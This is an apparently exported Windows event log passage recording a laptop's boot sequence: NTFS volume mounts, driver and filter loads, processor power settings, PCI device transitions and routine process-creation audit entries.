0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.313\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\n           Volume name: \n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolumeShadowCopy3\n           Device GUID: {00000000-0000-0000-0000-000000000000}\n           Device manufacturer: \n           Device model: \n           Device revision: \n           Device serial number: \n           Bus type: \n           Native NVMe: false\n\n           Adapter serial number: \n\n           Media type: Hard disk\n           Runs cached: 6049\n           Longest run cached: 73.38 GB\n           Most populated bin Count: 72\n           Most populated bin's minimum length: 7.51 MB\n           Most populated bin's maximum length: 7.75 MB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.313\t4\t\"The NTFS volume has been successfully mounted.\n\n           Volume correlation Id: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\n           Volume name: Windows\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolumeShadowCopy3\n           Device GUID: {00000000-0000-0000-0000-000000000000}\n           Device manufacturer: \n           Device model: \n           Device revision: \n           Device serial number: \n           Bus type: \n           Device number: 4294967295\n           Boot partition: false\n\n           Native NVMe: false\n\n           Adapter serial number: \n           \n           Total mount duration: 39 ms\n           Longest stage: 7. Duration 35 ms (90% of the total)\n           Second longest stage: 8. Duration 2 ms (5% of the total)\n           Volume restart applied: false\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.360\t6\tFile System Filter 'QesEngEx' (10.0, \u200e2025\u200e-\u200e10\u200e-\u200e23T14:48:14.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:49.364\t6\tFile System Filter 'UCPD' (10.0, \u200e2104\u200e-\u200e11\u200e-\u200e25T06:34:34.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:49.436\t7036\tThe  service entered the Driver load complete state.\tInformation\tSystem\tVfpExt\n05.09.2026 08:28:49.436\t7036\tThe  service entered the Driver load start state.\tInformation\tSystem\tVfpExt\n05.09.2026 08:28:49.460\t6\tFile System Filter 'npsvctrig' (10.0, \u200e1978\u200e-\u200e05\u200e-\u200e14T16:13:30.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:49.486\t125\t\"ACPI thermal zone \\_TZ.TZ00 has been enumerated.             \n_PSV = 0K             \n_TC1 = 0             \n_TC2 = 0             \n_TSP = 0ms             \n_AC0 = 366K             \n_AC1 = 328K             \n_AC2 = 323K             \n_AC3 = 318K             \n_AC4 = 313K             \n_AC5 = 0K             \n_AC6 = 0K             \n_AC7 = 0K             \n_AC8 = 0K             \n_AC9 = 0K             \n_CRT = 388K             \n_HOT = 368K             \nminimum throttle = 0             \n_CR3 = 0K\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Power\n05.09.2026 08:28:49.493\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x104\n\tNew Process Name:\t\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x4\n\tCreator Process Name:\t\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:49.493\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x130\n\tNew Process Name:\tRegistry\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x4\n\tCreator Process Name:\t\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:49.493\t4696\t\"A primary token was assigned to process.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nProcess Information:\n\tProcess ID:\t0x4\n\tProcess Name:\t\n\nTarget Process:\n\tTarget Process ID:\t0x130\n\tTarget Process Name:\tRegistry\n\nNew Token Information:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:49.493\t4826\t\"Boot Configuration Data loaded.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nGeneral Settings:\n\tLoad Options:\t\t-\n\tAdvanced Options:\t\tNo\n\tConfiguration Access Policy:\tDefault\n\tSystem Event Logging:\tNo\n\tKernel Debugging:\tNo\n\tVSM Launch Type:\tAuto\n\nSignature Settings:\n\tTest Signing:\t\tNo\n\tFlight Signing:\t\tNo\n\tDisable Integrity Checks:\tNo\n\nHyperVisor Settings:\n\tHyperVisor Load Options:\t-\n\tHyperVisor Launch Type:\tAuto\n\tHyperVisor Debugging:\tNo\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:49.495\t10118\tUMDF reflector is unable to connect to service control manager (SCM). This is expected during boot, when SCM has not started yet. Will retry when it starts.\tInformation\tSystem\tMicrosoft-Windows-DriverFrameworks-UserMode\n05.09.2026 08:28:49.496\t219\t\"The driver \\Driver\\WUDFRd failed to load.\nDevice: ROOT\\VIRTUAL_HID\\0000\nStatus: 0xC0000365\"\tWarning\tSystem\tMicrosoft-Windows-Kernel-PnP\n05.09.2026 08:28:49.499\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x3d0\n\tNew Process Name:\tC:\\Windows\\System32\\smss.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x4\n\tCreator Process Name:\t\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:49.976\t10118\tUMDF reflector is unable to connect to service control manager (SCM). This is expected during boot, when SCM has not started yet. Will retry when it starts.\tInformation\tSystem\tMicrosoft-Windows-DriverFrameworks-UserMode\n05.09.2026 08:28:49.977\t219\t\"The driver \\Driver\\WUDFRd failed to load.\nDevice: PCI\\VEN_8086&DEV_7D03&SUBSYS_21051EE7&REV_04\\3&11583659&0&20\nStatus: 0xC0000365\"\tWarning\tSystem\tMicrosoft-Windows-Kernel-PnP\n05.09.2026 08:28:50.038\t4\t\"Flags [1126312223703044] were applied to device [USBXHCI:ALL] - class [USBXHCI].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.038\t4\t\"Flags [7206885442550497440] were applied to device [USBXHCI:PCI\\VEN_8086] - class [USBXHCI].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.042\t4\t\"Flags [2181300322] were applied to device [USBXHCI:PCI\\VEN_8086] - class [USBXHCI2].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.042\t4\t\"Flags [5242880] were applied to device [USBXHCI:PCI\\VEN_8086&DEV_7EC0] - class [USBXHCI2].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.047\t4\t\"Flags [1126312223703044] were applied to device [USBXHCI:ALL] - class [USBXHCI].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.047\t4\t\"Flags [7206885442550497440] were applied to device [USBXHCI:PCI\\VEN_8086] - class [USBXHCI].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.048\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x3f4\n\tNew Process Name:\tC:\\Windows\\System32\\autochk.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x3d0\n\tCreator Process Name:\tC:\\Windows\\System32\\smss.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:50.050\t4\t\"Flags [2181300322] were applied to device [USBXHCI:PCI\\VEN_8086] - class [USBXHCI2].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.050\t4\t\"Flags [1048576] were applied to device [USBXHCI:PCI\\VEN_8086&DEV_7E7D] - class [USBXHCI2].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.079\t101\tInitialized VolumeCacheMap for device guid: {23cb36d7-dcac-4575-b04d-8288cc1f8e2a}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:50.118\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:50.126\t1\t\tInformation\tSystem\tWDTDrv\n05.09.2026 08:28:50.205\t155\t\"Host processor features mask: \n\nHost xsave features mask: 0x4058381F\n\nHost cache line flush size: 64 bytes\"\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:50.208\t1\t[PDO] (0x0000.0x02.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.236\t1\t[PDO] (0x0000.0x02.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.237\t1\t[PDO] (0x0000.0x08.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.237\t1\t[PDO] (0x0000.0x0b.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.244\t101\tInitialized VolumeCacheMap for device guid: {b4de30fc-d998-46fa-9187-a8f915fd81fc}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:50.267\t1\t[PDO] (0x0000.0x08.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.267\t1\t[PDO] (0x0000.0x0b.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.269\t1\t[PDO] (0x0000.0x14.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.269\t1\t[PDO] (0x0000.0x14.0x03): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.269\t1\t[PDO] (0x0000.0x0d.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.299\t1\t[PDO] (0x0000.0x0d.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.299\t1\t[PDO] (0x0000.0x14.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.299\t1\t[PDO] (0x0000.0x14.0x03): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.299\t1\t[PDO] (0x0000.0x16.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.300\t7036\tThe \\Device\\NDMP2 service entered the Intel(R) Wi-Fi 6 AX201 160MHz state.\tInformation\tSystem\tNetwtw14\n05.09.2026 08:28:50.304\t7029\t7029 - Wi-Fi Driver Initialization\tInformation\tSystem\tNetwtw14\n05.09.2026 08:28:50.306\t55\t\"Processor 2 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 3600\nMaximum performance percentage: 100\nMinimum performance percentage: 27\nMinimum throttle percentage: 2\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.308\t55\t\"Processor 3 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 3600\nMaximum performance percentage: 100\nMinimum performance percentage: 27\nMinimum throttle percentage: 2\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.311\t55\t\"Processor 4 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 3600\nMaximum performance percentage: 100\nMinimum performance percentage: 27\nMinimum throttle percentage: 2\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.313\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n           Volume name: D:\n           Volume label: Data\n\n           Device name: \\Device\\HarddiskVolume4\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Duration (micro seconds): 59915\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.313\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n           Volume name: D:\n           Volume label: Data\n\n           Device name: \\Device\\HarddiskVolume4\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Media type: Hard disk\n           Runs cached: 11\n           Longest run cached: 607.51 GB\n           Most populated bin Count: 3\n           Most populated bin's minimum length: 992.01 MB\n           Most populated bin's maximum length: -\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.313\t4\t\"The NTFS volume has been successfully mounted.\n\n           Volume correlation Id: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n           Volume name: D:\n           Volume label: Data\n\n           Device name: \\Device\\HarddiskVolume4\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Device number: 0\n           Boot partition: false\n\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n           \n           Total mount duration: 71 ms\n           Longest stage: 7. Duration 61 ms (86% of the total)\n           Second longest stage: 5. Duration 4 ms (6% of the total)\n           Volume restart applied: false\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.313\t98\tVolume D: (\\Device\\HarddiskVolume4) is healthy.  No action is needed.\tInformation\tSystem\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.314\t55\t\"Processor 5 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 3600\nMaximum performance percentage: 100\nMinimum performance percentage: 27\nMinimum throttle percentage: 2\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.314\t7027\t7027 - Wi-Fi Driver Info\tInformation\tSystem\tNetwtw14\n05.09.2026 08:28:50.316\t55\t\"Processor 6 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 3600\nMaximum performance percentage: 100\nMinimum performance percentage: 27\nMinimum throttle percentage: 2\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.318\t55\t\"Processor 7 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 3600\nMaximum performance percentage: 100\nMinimum performance percentage: 27\nMinimum throttle percentage: 2\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.320\t55\t\"Processor 8 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 3600\nMaximum performance percentage: 100\nMinimum performance percentage: 27\nMinimum throttle percentage: 2\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.323\t55\t\"Processor 9 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 3600\nMaximum performance percentage: 100\nMinimum performance percentage: 27\nMinimum throttle percentage: 2\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.325\t55\t\"Processor 10 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 1200\nMaximum performance percentage: 380\nMinimum performance percentage: 100\nMinimum throttle percentage: 6\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.328\t101\tInitialized VolumeCacheMap for device guid: {071ed15c-a672-4f3b-b36f-218dce297808}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:50.330\t1\t[PDO] (0x0000.0x16.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.332\t2\tIntel(R) Management Engine Interface driver has started successfully.\tInformation\tSystem\tMEIx64\n05.09.2026 08:28:50.339\t55\t\"Processor 11 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 1200\nMaximum performance percentage: 380\nMinimum performance percentage: 100\nMinimum throttle percentage: 6\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.353\t55\t\"Processor 12 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 1200\nMaximum performance percentage: 380\nMinimum performance percentage: 100\nMinimum throttle percentage: 6\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.353\t101\tInitialized VolumeCacheMap for device guid: {580f6681-a25f-4cec-9096-3d65cabf1f4a}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:50.355\t55\t\"Processor 13 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 1200\nMaximum performance percentage: 380\nMinimum performance percentage: 100\nMinimum throttle percentage: 6\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.359\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume name: \\\\?\\Volume{580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume label: WinRE\n\n           Device name: \\Device\\HarddiskVolume7\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Duration (micro seconds): 160\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.359\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume name: \\\\?\\Volume{580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume label: WinRE\n\n           Device name: \\Device\\HarddiskVolume7\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Media type: Hard disk\n           Runs cached: 1\n           Longest run cached: 30.55 MB\n           Most populated bin Count: 1\n           Most populated bin's minimum length: 30.01 MB\n           Most populated bin's maximum length: 31 MB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.359\t4\t\"The NTFS volume has been successfully mounted.\n\n           Volume correlation Id: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume name: \\\\?\\Volume{580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume label: WinRE\n\n           Device name: \\Device\\HarddiskVolume7\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Device number: 0\n           Boot partition: false\n\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n           \n           Total mount duration: 8 ms\n           Longest stage: 2. Duration 2 ms (25% of the total)\n           Second longest stage: 1. Duration 2 ms (25% of the total)\n           Volume restart applied: false\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.359\t98\tVolume \\\\?\\Volume{580f6681-a25f-4cec-9096-3d65cabf1f4a} (\\Device\\HarddiskVolume7) is healthy.  No action is needed.\tInformation\tSystem\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.376\t101\tInitialized VolumeCacheMap for device guid: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:50.383\t4\t\"The NTFS volume has been successfully mounted.\n\n           Volume correlation Id: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume name: \\\\?\\Volume{f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume label: Onekey\n\n           Device name: \\Device\\HarddiskVolume6\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Device number: 0\n           Boot partition: false\n\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n           \n           Total mount duration: 9 ms\n           Longest stage: 5. Duration 2 ms (21% of the total)\n           Second longest stage: 1. Duration 2 ms (21% of the total)\n           Volume restart applied: false\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.383\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume name: \\\\?\\Volume{f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume label: Onekey\n\n           Device name: \\Device\\HarddiskVolume6\n           Device GUID: 